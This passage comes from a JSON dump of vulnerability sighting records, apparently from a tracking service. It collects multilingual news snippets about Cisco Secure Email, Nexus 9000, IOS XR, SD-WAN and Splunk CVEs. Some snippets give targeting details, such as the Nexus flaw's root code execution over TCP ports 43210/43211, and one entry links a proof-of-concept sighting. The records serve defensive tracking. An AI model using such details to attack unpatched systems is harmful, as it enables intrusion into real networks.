\u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Secure Email \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 S/MIME \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 IOS XR \u0438 Nexus \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCVE-2026-20354\u00a0\u0438\u00a0CVE-2026-20355 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 Secure/Multipurpose Internet Mail Extensions (S/MIME) \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u0433\u0440\u043e\u0437.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u043c\u0438 \u0448\u043b\u044e\u0437\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 MitM.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Secure Email, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c AsyncOS \u0432\u0435\u0440\u0441\u0438\u0438 16.5.0 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 S/MIME.\n\nCisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u044b, \u043d\u043e \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 IOS XR \u0438 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0430\u0442\u0430\u043a.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f IOS XR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043e\u0448\u0438\u0431\u043e\u043a, \u0441\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u043c\u0438 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9,8: CVE-2026-20274 \u0438 CVE-2026-20279.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n\u0412 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 Nexus 9000 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 CVE-2026-20212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e TCP-\u043f\u043e\u0440\u0442\u0430\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441\u0435\u0440\u0438\u0439 Desk Phone 9800, IP Phone 7800 \u0438 8800, \u0430 \u0442\u0430\u043a\u0436\u0435 Video Phone 8875, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 SIP.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-20281, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c DoS.\n\nCisco \u0437\u0430\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c.", "creation_timestamp": "2026-09-04T00:00:40.178196Z"}, {"uuid": "16feed55-4600-4eaa-9e73-f3b74348b506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20354", "type": "seen", "source": "https://t.me/pphm_HackerNews/2985", "content": "\ud83d\udd34 Cisco Warns of Unpatched Secure Email Flaws, Patches Critical Switch Vulnerabilities\n\nCisco on Wednesday warned that two unpatched vulnerabilities in its enterprise email security product Secure Email have been publicly disclosed.\n\nThe two flaws, tracked as CVE-2026-20354 and CVE-2026-20355, are medium-severity issues affecting the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of the threat protection solution.\n\nAccording to Cisco, insufficient validation of message integrity can allow an attacker to intercept and modify traffic between email gateways using a man-in-the-middle (MitM) technique.", "creation_timestamp": "2026-09-04T00:00:45.360830Z"}, {"uuid": "09f13cae-9e75-4430-8db3-0b3ccdf7c964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20355", "type": "seen", "source": "https://t.me/pphm_HackerNews/2985", "content": "\ud83d\udd34 Cisco Warns of Unpatched Secure Email Flaws, Patches Critical Switch Vulnerabilities\n\nCisco on Wednesday warned that two unpatched vulnerabilities in its enterprise email security product Secure Email have been publicly disclosed.\n\nThe two flaws, tracked as CVE-2026-20354 and CVE-2026-20355, are medium-severity issues affecting the Secure/Multipurpose Internet Mail Extensions (S/MIME) decryption functionality of the threat protection solution.\n\nAccording to Cisco, insufficient validation of message integrity can allow an attacker to intercept and modify traffic between email gateways using a man-in-the-middle (MitM) technique.", "creation_timestamp": "2026-09-04T00:00:45.400452Z"}, {"uuid": "fe76cbdb-d25b-45a8-ac58-e67af153936a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "content": "Cisco has released patches to address a critical security flaw affecting 10 Silicon One-based Nexus 9000 switches that could allow an unauthenticated, remote attacker to execute code as root, alongside an IOS XR hardening release bundling 7 umbrella CVEs, 2 of which are rated 9.8, with no workaround for any IOS XR version.\n\nThe Nexus vulnerability, tracked as CVE-2026-20212 (CVSS score: 9.8), is", "creation_timestamp": "2026-09-04T01:00:36.045127Z"}, {"uuid": "d2c8f75c-00fc-4e3a-b869-dbc3088aa21c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3munwxgddxs24", "content": "Cisco disclosed a critical vulnerability (CVE-2026-20212) in Nexus 9000 Series Switches, allowing unauthenticated remote attackers to execute arbitrary code with root privileges. The flaw, with a CVSS score of 9.8, affects models using Silicon One ASIC.", "creation_timestamp": "2026-09-04T02:43:14.155882Z"}, {"uuid": "4bffe467-b31e-40f2-bcaf-98a864dee9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/xssf_forum/60", "content": "\ud83d\udcdd \u0410\u0442\u0430\u043a\u0438 \u043d\u0430 SD-WAN-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 CVE\n\u0421\u041c\u0418 / NEWS\n\nCisco \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20182 \u0432 SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10 \u0438\u0437 10 \u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 Cisco Catalyst SD-WAN Controller. \u0427\u0435\u0440\u0435\u0437 \u0441\u0435\u0440\u0432\u0438\u0441 vdaemon \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0437\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0443\u0437\u0435\u043b vHub \u0438 \u0432\u044b\u0434\u0430\u2026\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435", "creation_timestamp": "2026-09-04T05:00:06.944052Z"}, {"uuid": "ba3a242a-df83-4f35-914b-16d8da48a541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3muoake6pbo2y", "content": "\ud83e\udd16 CVE-2026-20212 (CVSS 9.8): critical flaw in 10 Silicon One-based Cisco Nexus 9000 switches lets unauthenticated remote attackers execute code as root. Patches out; IOS XR also gets 7 CVEs, 2 at 9.8, no workaround.\nhttps://thehackernews.com/2026/09/critical-cisco-nexus-9000-flaw-lets.html", "creation_timestamp": "2026-09-04T05:34:52.693994Z"}, {"uuid": "e34b103b-e2cd-46d7-8bae-703819f83a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20212", "type": "seen", "source": "https://bsky.app/profile/thecybersecguru.com/post/3muoay335fb26", "content": "Critical Cisco Nexus 9000 RCE Flaw (CVE-2026-20212) & IOS XR Hardening: Complete Technical Analysis and Remediation\u00a0Guide\n\nCVE-2026-20212 is a critical CVSS 9.8 unauthenticated RCE affecting specific Cisco Nexus 9000 switches.\u2026\n\nhttps://thecybersecguru.com/news/cve-2026-20212-cisco-nexus-9000-rce/", "creation_timestamp": "2026-09-04T05:42:32.912170Z"}, {"uuid": "a57ac3ec-de91-4b9e-801f-3515b4bdcd28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3muodnnwmdq24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-83548: 20 interactions\nCVE-2026-82329: 19 interactions\nCVE-2026-83549: 17 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20212: 7 interactions\nCVE-2025-62518: 5 interactions\nCVE-2026-32475: 4 interactions\n", "creation_timestamp": "2026-09-04T06:30:24.675543Z"}, {"uuid": "6f802fdf-5754-4109-9668-842dbd832722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://t.me/CyberDispatch/2819", "content": "A critical Cisco Nexus 9000 flaw lets unauthenticated remote attackers run code as root.\n\nCVE-2026-20212 leaves TCP ports 43210 and 43211 reachable in the default Layer 3 VRF on 10 switch models.", "creation_timestamp": "2026-09-04T07:00:05.275801Z"}, {"uuid": "ef7d2f9c-9535-480d-a6cc-32176304743f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:15.378025Z"}, {"uuid": "e5bf6c5b-8c3c-4c52-be18-f56528cffa9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "published-proof-of-concept", "source": "Telegram/_CQMtoE_EbSJ7yTkSwzPGTr5n5cXGRrCDjqhXlQyTvYmv40", "content": "", "creation_timestamp": "2026-09-04T12:00:13.363827Z"}, {"uuid": "1b39c510-2921-4c25-979f-cb3697eda600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3muoyoz5cwu2w", "content": "Cisco patched a critical Nexus 9000 flaw, CVE-2026-20212 (CVSS 9.8): unauthenticated root RCE via TCP 43210/43211. No known exploitation. Upgrade NX-OS. https://securityweek.com/cisco-warns-of-unpatched-secure-email-flaws-patches-critical-switch-vulnerabilities", "creation_timestamp": "2026-09-04T12:46:58.277117Z"}, {"uuid": "4c28337a-9985-4725-9887-6844648d3bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20296", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mup2xx6czc2r", "content": "Splunk Enterprise\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4fdd\u5b58\u3055\u308c\u305f\u8a8d\u8a3c\u60c5\u5831\u304c\u6f0f\u6d29\u3057\u3001\u4efb\u610f\u306eSPL\u691c\u7d22\u304c\u53ef\u80fd\u306b\u306a\u308b\n\nSplunk\u306f\u3001Splunk Enterprise\u304a\u3088\u3073Splunk Cloud Platform\u306b\u304a\u3051\u308b3\u3064\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u8a8d\u8a3c\u60c5\u5831\u306e\u30cf\u30c3\u30b7\u30e5\u5024\u304c\u6f0f\u6d29\u3057\u305f\u308a\u3001\u4efb\u610f\u306e\u691c\u7d22\u51e6\u7406\u8a00\u8a9e\uff08SPL\uff09\u306b\u3088\u308b\u691c\u7d22\u304c\u53ef\u80fd\u306b\u306a\u3063\u305f\u308a\u3001\u610f\u56f3\u3057\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u4ee5\u5916\u306e\u5834\u6240\u306b\u30d5\u30a1\u30a4\u30eb\u304c\u66f8\u304d\u8fbc\u307e\u308c\u305f\u308a\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\nCVE-2026-20296\u3001CVE-2026-20297\u3001\u304a\u3088\u3073CVE-2026-2...", "creation_timestamp": "2026-09-04T13:27:47.674735Z"}, {"uuid": "c8a3f425-00e9-4006-a851-8deeb083b0af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mup2xx6czc2r", "content": "Splunk Enterprise\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4fdd\u5b58\u3055\u308c\u305f\u8a8d\u8a3c\u60c5\u5831\u304c\u6f0f\u6d29\u3057\u3001\u4efb\u610f\u306eSPL\u691c\u7d22\u304c\u53ef\u80fd\u306b\u306a\u308b\n\nSplunk\u306f\u3001Splunk Enterprise\u304a\u3088\u3073Splunk Cloud Platform\u306b\u304a\u3051\u308b3\u3064\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f\u3002\n\n\u3053\u308c\u3089\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u8a8d\u8a3c\u60c5\u5831\u306e\u30cf\u30c3\u30b7\u30e5\u5024\u304c\u6f0f\u6d29\u3057\u305f\u308a\u3001\u4efb\u610f\u306e\u691c\u7d22\u51e6\u7406\u8a00\u8a9e\uff08SPL\uff09\u306b\u3088\u308b\u691c\u7d22\u304c\u53ef\u80fd\u306b\u306a\u3063\u305f\u308a\u3001\u610f\u56f3\u3057\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u4ee5\u5916\u306e\u5834\u6240\u306b\u30d5\u30a1\u30a4\u30eb\u304c\u66f8\u304d\u8fbc\u307e\u308c\u305f\u308a\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\nCVE-2026-20296\u3001CVE-2026-20297\u3001\u304a\u3088\u3073CVE-2026-2...", "creation_timestamp": "2026-09-04T13:27:47.737913Z"}, {"uuid": "1629891e-bcbb-40f3-a94a-56499f8afd2a", "vulnerability_lookup_origin": 